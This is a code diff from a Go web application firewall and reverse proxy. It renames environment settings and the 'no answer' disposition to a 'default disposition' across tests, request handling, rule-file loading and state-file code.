"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
@@ -44,13 +43,13 @@ const (
|
|||||||
|
|
||||||
// The settings the tests set.
|
// The settings the tests set.
|
||||||
const (
|
const (
|
||||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
timeoutSetting = "SWRP_TIMEOUT_MS"
|
||||||
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
defaultDisposition = "SWRP_DEFAULT_DISPOSITION"
|
||||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
trustedProxies = "SWRP_TRUSTED_PROXIES"
|
||||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
maxRequestSize = "SWRP_MAX_REQUEST_SIZE"
|
||||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
maxResponseSize = "SWRP_MAX_RESPONSE_SIZE"
|
||||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
maxRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
||||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
maxResponseTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The headers the tests set and look at.
|
// The headers the tests set and look at.
|
||||||
@@ -355,11 +354,17 @@ func startServerLogging(
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
"SWW_RPROXY_WAF_BACKEND": backend, "SWW_RPROXY_UPSTREAM_URL": appURL,
|
"SWRP_WAF_BACKEND": backend, "SWRP_UPSTREAM_URL": appURL,
|
||||||
}
|
}
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(configtest.Viper(settings))
|
cfg, err := config.RProxyFromEnvironment(
|
||||||
|
func(name string) (string, bool) {
|
||||||
|
value, ok := settings[name]
|
||||||
|
|
||||||
|
return value, ok
|
||||||
|
},
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings %v: %v", settings, err)
|
t.Fatalf("settings %v: %v", settings, err)
|
||||||
}
|
}
|
||||||
@@ -774,7 +779,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["disposition"] != dispositionDeny ||
|
if line["disposition"] != dispositionDeny ||
|
||||||
line["waf_backend_no_answer"] != nil {
|
line["default_disposition"] != nil {
|
||||||
t.Errorf("line %v, want waf's deny", line)
|
t.Errorf("line %v, want waf's deny", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -956,8 +961,7 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// noAnswers are the ways waf can leave the decision to
|
// noAnswers are the ways waf can leave the decision to the default.
|
||||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION.
|
|
||||||
func noAnswers() map[string]func(t *testing.T) string {
|
func noAnswers() map[string]func(t *testing.T) string {
|
||||||
return map[string]func(t *testing.T) string{
|
return map[string]func(t *testing.T) string{
|
||||||
"no connection": func(*testing.T) string { return nowhere },
|
"no connection": func(*testing.T) string { return nowhere },
|
||||||
@@ -1009,8 +1013,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
|
{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
|
||||||
} {
|
} {
|
||||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||||
subtest := tc.name + " with " + noAnswerSetting + "=" + setting
|
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
|
||||||
t.Run(subtest, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(
|
standIn := startWAF(
|
||||||
@@ -1033,7 +1036,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
standIn.URL,
|
standIn.URL,
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
noAnswerSetting: setting,
|
defaultDisposition: setting,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1049,9 +1052,9 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(tc.status) ||
|
if line["status"] != float64(tc.status) ||
|
||||||
line["waf_backend_no_answer"] != nil {
|
line["default_disposition"] != nil {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"line %v, want status %d and no waf_backend_no_answer",
|
"line %v, want status %d and no default",
|
||||||
line,
|
line,
|
||||||
tc.status,
|
tc.status,
|
||||||
)
|
)
|
||||||
@@ -1111,7 +1114,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
|||||||
_, _ = w.Write(make([]byte, size))
|
_, _ = w.Write(make([]byte, size))
|
||||||
})
|
})
|
||||||
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||||
wafBackendTimeout: "60000",
|
timeoutSetting: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
got := get(t, addr, "/")
|
got := get(t, addr, "/")
|
||||||
@@ -1204,8 +1207,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
"a 101 that holds its connection open": answeringWith(switchAndHold),
|
"a 101 that holds its connection open": answeringWith(switchAndHold),
|
||||||
} {
|
} {
|
||||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||||
subtest := name + " with " + noAnswerSetting + "=" + setting
|
t.Run(name+" with the default "+setting, func(t *testing.T) {
|
||||||
t.Run(subtest, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
@@ -1216,8 +1218,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
backend(t),
|
backend(t),
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
wafBackendTimeout: "60000",
|
timeoutSetting: "60000",
|
||||||
noAnswerSetting: setting,
|
defaultDisposition: setting,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1227,7 +1229,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(http.StatusBadGateway) ||
|
if line["status"] != float64(http.StatusBadGateway) ||
|
||||||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"line %v, want status 502 and no disposition",
|
"line %v, want status 502 and no disposition",
|
||||||
line,
|
line,
|
||||||
@@ -1245,7 +1247,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
||||||
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||||
wafBackendTimeout: "60000",
|
timeoutSetting: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||||
@@ -1256,9 +1258,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
|||||||
standIn.wantNoReport(t)
|
standIn.wantNoReport(t)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for name, backend := range noAnswers() {
|
for name, backend := range noAnswers() {
|
||||||
@@ -1271,7 +1271,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
|||||||
backend(t),
|
backend(t),
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
wafBackendTimeout: "200",
|
timeoutSetting: "200",
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1279,11 +1279,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["disposition"] != dispositionAllow ||
|
if line["disposition"] != dispositionAllow ||
|
||||||
line["waf_backend_no_answer"] != true {
|
line["default_disposition"] != true {
|
||||||
t.Errorf(
|
t.Errorf("line %v, want allow by default", line)
|
||||||
"line %v, want allow and waf_backend_no_answer",
|
|
||||||
line,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -1298,8 +1295,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
|||||||
backend(t),
|
backend(t),
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
wafBackendTimeout: "200",
|
timeoutSetting: "200",
|
||||||
noAnswerSetting: dispositionDeny,
|
defaultDisposition: dispositionDeny,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1310,21 +1307,18 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["disposition"] != dispositionDeny ||
|
if line["disposition"] != dispositionDeny ||
|
||||||
line["waf_backend_no_answer"] != true {
|
line["default_disposition"] != true {
|
||||||
t.Errorf(
|
t.Errorf("line %v, want deny by default", line)
|
||||||
"line %v, want deny and waf_backend_no_answer",
|
|
||||||
line,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
|
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
|
||||||
t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) {
|
t.Run("with the default "+disposition, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(
|
standIn := startWAF(
|
||||||
@@ -1341,8 +1335,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
|||||||
standIn.URL,
|
standIn.URL,
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
wafBackendTimeout: "60000",
|
timeoutSetting: "60000",
|
||||||
noAnswerSetting: disposition,
|
defaultDisposition: disposition,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1354,7 +1348,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != 0.0 || line["disposition"] != nil ||
|
if line["status"] != 0.0 || line["disposition"] != nil ||
|
||||||
line["waf_backend_no_answer"] != nil {
|
line["default_disposition"] != nil {
|
||||||
t.Errorf("line %v, want status 0 and no disposition", line)
|
t.Errorf("line %v, want status 0 and no disposition", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1367,9 +1361,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides(
|
func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
@@ -1387,7 +1379,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
|
|||||||
})
|
})
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
wafBackendTimeout: "200",
|
timeoutSetting: "200",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
wantGreeting(t, get(t, addr, "/"))
|
||||||
@@ -1451,7 +1443,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
|
|||||||
|
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
||||||
wafBackendTimeout: "60000",
|
timeoutSetting: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
t.Cleanup(func() { close(release) })
|
t.Cleanup(func() { close(release) })
|
||||||
@@ -1494,7 +1486,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
|
|||||||
// The time limit is long enough for a loaded host to answer the question before
|
// The time limit is long enough for a loaded host to answer the question before
|
||||||
// it runs out.
|
// it runs out.
|
||||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||||
wafBackendTimeout: "3000",
|
timeoutSetting: "3000",
|
||||||
})
|
})
|
||||||
|
|
||||||
t.Cleanup(func() { close(release) })
|
t.Cleanup(func() { close(release) })
|
||||||
@@ -1524,7 +1516,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
|
|||||||
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||||
wafBackendTimeout: "60000",
|
timeoutSetting: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
wantGreeting(t, get(t, addr, "/"))
|
||||||
@@ -1612,7 +1604,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
backend.URL,
|
backend.URL,
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
wafBackendTimeout: "5000",
|
timeoutSetting: "5000",
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1905,10 +1897,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if line["waf_backend_no_answer"] != nil {
|
if line["default_disposition"] != nil {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"waf_backend_no_answer is %v, want it left out",
|
"default_disposition is %v, want it left out",
|
||||||
line["waf_backend_no_answer"],
|
line["default_disposition"],
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+11
-12
@@ -67,16 +67,15 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
|||||||
rq.answer(http.StatusBadGateway)
|
rq.answer(http.StatusBadGateway)
|
||||||
default:
|
default:
|
||||||
// waf cannot be connected to, does not answer at all, or does not answer
|
// waf cannot be connected to, does not answer at all, or does not answer
|
||||||
// within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. A request that keeps waf
|
// within SWRP_TIMEOUT_MS. A request that keeps waf busy past
|
||||||
// busy past SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, like any request while
|
// SWRP_TIMEOUT_MS, like any request while waf is overloaded, gets
|
||||||
// waf is overloaded, gets SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION
|
// SWRP_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
|
||||||
// here. deny closes this, at the cost of answering 503 whenever waf is
|
// whenever waf is slow. Making such requests hard to send is
|
||||||
// slow. Making such requests hard to send is
|
|
||||||
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
||||||
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
|
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
|
||||||
|
|
||||||
rq.disposition = rq.h.config.WAFBackendNoAnswerDisposition
|
rq.disposition = rq.h.config.DefaultDisposition
|
||||||
rq.wafNoAnswer = true
|
rq.byDefault = true
|
||||||
|
|
||||||
if rq.disposition == waf.DispositionAllow {
|
if rq.disposition == waf.DispositionAllow {
|
||||||
rq.passToApp(ctx)
|
rq.passToApp(ctx)
|
||||||
@@ -87,10 +86,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ask sends waf the question, and returns its answer, which must have come
|
// ask sends waf the question, and returns its answer, which must have come
|
||||||
// whole within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It ends when ctx does, as
|
// whole within SWRP_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
|
||||||
// when the visitor goes away.
|
// away.
|
||||||
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
||||||
ctx, cancel := context.WithTimeout(ctx, rq.h.config.WAFBackendTimeout)
|
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
question, err := rq.newQuestion(ctx)
|
question, err := rq.newQuestion(ctx)
|
||||||
@@ -243,14 +242,14 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// postReport posts report to waf, and waits for its answer for up to
|
// postReport posts report to waf, and waits for its answer for up to
|
||||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS.
|
// SWRP_TIMEOUT_MS.
|
||||||
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
||||||
body, err := json.Marshal(report)
|
body, err := json.Marshal(report)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("encode the report: %w", err)
|
return fmt.Errorf("encode the report: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
ctx, cancel := context.WithTimeout(ctx, h.config.WAFBackendTimeout)
|
ctx, cancel := context.WithTimeout(ctx, h.config.Timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
// Package rules reads the rule files: the plain text files in
|
// Package rules reads the rule files: the plain text files in
|
||||||
// SWW_WAF_RULE_FILES_DIR, one rule to a line, that each request is checked
|
// SWW_RULES_DIR, one rule to a line, that each request is checked
|
||||||
// against, as the "Rule files" section of SPEC.md describes. They are read
|
// against, as the "Rule files" section of SPEC.md describes. They are read
|
||||||
// at start, and again once the directory has had no change for a short
|
// at start, and again once the directory has had no change for a short
|
||||||
// time after one is edited, added or removed.
|
// time after one is edited, added or removed.
|
||||||
@@ -40,7 +40,7 @@ const (
|
|||||||
// extension ends the name of every rule file.
|
// extension ends the name of every rule file.
|
||||||
const extension = ".rules"
|
const extension = ".rules"
|
||||||
|
|
||||||
// quietTime is how long SWW_WAF_RULE_FILES_DIR must go without a change before
|
// quietTime is how long SWW_RULES_DIR must go without a change before
|
||||||
// the rule files are read again, so that a file still being written, such
|
// the rule files are read again, so that a file still being written, such
|
||||||
// as one saved in place, appended to or copied in with scp, is read only
|
// as one saved in place, appended to or copied in with scp, is read only
|
||||||
// once whole.
|
// once whole.
|
||||||
@@ -103,9 +103,9 @@ type Rule struct {
|
|||||||
|
|
||||||
// Params are what Load needs.
|
// Params are what Load needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// Dir is the directory of the rule files (SWW_WAF_RULE_FILES_DIR).
|
// Dir is the directory of the rule files (SWW_RULES_DIR).
|
||||||
Dir string
|
Dir string
|
||||||
// Enabled is SWW_WAF_RULE_FILES_ENABLED: while it is false, no file is read
|
// Enabled is SWW_RULES_ENABLED: while it is false, no file is read
|
||||||
// and no rule loaded.
|
// and no rule loaded.
|
||||||
Enabled bool
|
Enabled bool
|
||||||
// ProcessLog receives how many rules were read, and the error in a
|
// ProcessLog receives how many rules were read, and the error in a
|
||||||
@@ -274,10 +274,7 @@ func (f *Files) logRead(count int) {
|
|||||||
func read(dir string) ([]Rule, string, error) {
|
func read(dir string) ([]Rule, string, error) {
|
||||||
entries, err := os.ReadDir(dir)
|
entries, err := os.ReadDir(dir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, dir, fmt.Errorf(
|
return nil, dir, fmt.Errorf("SWW_RULES_DIR cannot be read: %w", err)
|
||||||
"SWW_WAF_RULE_FILES_DIR cannot be read: %w",
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
var rules []Rule
|
var rules []Rule
|
||||||
@@ -310,7 +307,7 @@ func readFile(
|
|||||||
rules []Rule,
|
rules []Rule,
|
||||||
places map[string]string,
|
places map[string]string,
|
||||||
) ([]Rule, error) {
|
) ([]Rule, error) {
|
||||||
//nolint:gosec // a rule file, in SWW_WAF_RULE_FILES_DIR
|
//nolint:gosec // a rule file, in SWW_RULES_DIR
|
||||||
data, err := os.ReadFile(path)
|
data, err := os.ReadFile(path)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
|
|||||||
@@ -323,7 +323,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||||
|
|
||||||
wantRefused(t, dir, "SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
|
wantRefused(t, dir, "SWW_RULES_DIR cannot be read: open "+dir+
|
||||||
": no such file or directory")
|
": no such file or directory")
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -352,7 +352,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
|||||||
func TestRuleFilesOffReadNothing(t *testing.T) {
|
func TestRuleFilesOffReadNothing(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// SWW_WAF_RULE_FILES_DIR does not exist, which would stop the start.
|
// SWW_RULES_DIR does not exist, which would stop the start.
|
||||||
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
|
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
|
||||||
params.Enabled = false
|
params.Enabled = false
|
||||||
|
|
||||||
|
|||||||
+18
-24
@@ -1,14 +1,14 @@
|
|||||||
// Package state keeps sww's state in JSON files, as the "Persistent
|
// Package state keeps sww's state in JSON files, as the "Persistent
|
||||||
// state" section of SPEC.md requires and docs/state-files.md lists them.
|
// state" section of SPEC.md requires and docs/state-files.md lists them.
|
||||||
//
|
//
|
||||||
// The state files are in SWW_WAF_STATE_DIR:
|
// The state files are in SWW_STATE_DIR:
|
||||||
// - bans.json holds the bans;
|
// - bans.json holds the bans;
|
||||||
// - clients.json holds each client's counters and history;
|
// - clients.json holds each client's counters and history;
|
||||||
// - abuseipdb-checks-spent.json holds the AbuseIPDB checks spent today;
|
// - abuseipdb-checks-spent.json holds the AbuseIPDB checks spent today;
|
||||||
// - alerts.json holds the cooldowns, the hour under way, the alerts
|
// - alerts.json holds the cooldowns, the hour under way, the alerts
|
||||||
// waiting for each destination and the anomaly counters.
|
// waiting for each destination and the anomaly counters.
|
||||||
//
|
//
|
||||||
// The cache files are in SWW_WAF_CACHE_DIR. Each keeps answers from an
|
// The cache files are in SWW_CACHE_DIR. Each keeps answers from an
|
||||||
// outside service, which are fetched again when the file is lost:
|
// outside service, which are fetched again when the file is lost:
|
||||||
// - lookups.json holds GeoJS's answers;
|
// - lookups.json holds GeoJS's answers;
|
||||||
// - lists.json holds the last try and last good copy of each list
|
// - lists.json holds the last try and last good copy of each list
|
||||||
@@ -119,17 +119,17 @@ var (
|
|||||||
|
|
||||||
// Params are what Load needs.
|
// Params are what Load needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// Dir is the directory of the state files (SWW_WAF_STATE_DIR), and
|
// Dir is the directory of the state files (SWW_STATE_DIR), and
|
||||||
// CacheDir that of the cache files (SWW_WAF_CACHE_DIR).
|
// CacheDir that of the cache files (SWW_CACHE_DIR).
|
||||||
Dir string
|
Dir string
|
||||||
CacheDir string
|
CacheDir string
|
||||||
// BansWriteDelay is how long after a ban is made bans.json is written
|
// WriteDelay is how long after a ban is made bans.json is written
|
||||||
// (SWW_WAF_BANS_WRITE_DELAY), and WriteInterval how often every file
|
// (SWW_STATE_WRITE_DELAY), and CounterInterval how often every file
|
||||||
// is (SWW_WAF_STATE_WRITE_INTERVAL).
|
// is (SWW_STATE_COUNTER_INTERVAL).
|
||||||
BansWriteDelay time.Duration
|
WriteDelay time.Duration
|
||||||
WriteInterval time.Duration
|
CounterInterval time.Duration
|
||||||
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
|
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
|
||||||
// Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is
|
// Anomalies hold the state. RouteWatch is nil while SWW_ROUTEWATCH_URL is
|
||||||
// unset, and routewatch.json then holds no answers. Alerts also receive a
|
// unset, and routewatch.json then holds no answers. Alerts also receive a
|
||||||
// file_error alert for an edit set aside, and for a write that fails while
|
// file_error alert for an edit set aside, and for a write that fails while
|
||||||
// sww runs.
|
// sww runs.
|
||||||
@@ -265,18 +265,12 @@ type stateFile interface {
|
|||||||
func Load(params Params) (*Files, error) {
|
func Load(params Params) (*Files, error) {
|
||||||
err := checkWritable(params.Dir)
|
err := checkWritable(params.Dir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf(
|
return nil, fmt.Errorf("SWW_STATE_DIR cannot be written: %w", err)
|
||||||
"SWW_WAF_STATE_DIR cannot be written: %w",
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
err = checkWritable(params.CacheDir)
|
err = checkWritable(params.CacheDir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf(
|
return nil, fmt.Errorf("SWW_CACHE_DIR cannot be written: %w", err)
|
||||||
"SWW_WAF_CACHE_DIR cannot be written: %w",
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
f := &Files{params: params, sums: map[string][sha256.Size]byte{}}
|
f := &Files{params: params, sums: map[string][sha256.Size]byte{}}
|
||||||
@@ -318,13 +312,13 @@ func Load(params Params) (*Files, error) {
|
|||||||
return f, nil
|
return f, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// Run writes bans.json BansWriteDelay after a ban is made, with every ban
|
// Run writes bans.json WriteDelay after a ban is made, with every ban
|
||||||
// made in between, and every file every WriteInterval, until ctx is
|
// made in between, and every file every CounterInterval, until ctx is
|
||||||
// done. A write that fails is logged, raised as a file_error alert, and
|
// done. A write that fails is logged, raised as a file_error alert, and
|
||||||
// the file is written again at its next write. Each write takes in an
|
// the file is written again at its next write. Each write takes in an
|
||||||
// admin's edit of its file first, as writeFile describes.
|
// admin's edit of its file first, as writeFile describes.
|
||||||
func (f *Files) Run(ctx context.Context) {
|
func (f *Files) Run(ctx context.Context) {
|
||||||
interval := time.NewTicker(f.params.WriteInterval)
|
interval := time.NewTicker(f.params.CounterInterval)
|
||||||
defer interval.Stop()
|
defer interval.Stop()
|
||||||
|
|
||||||
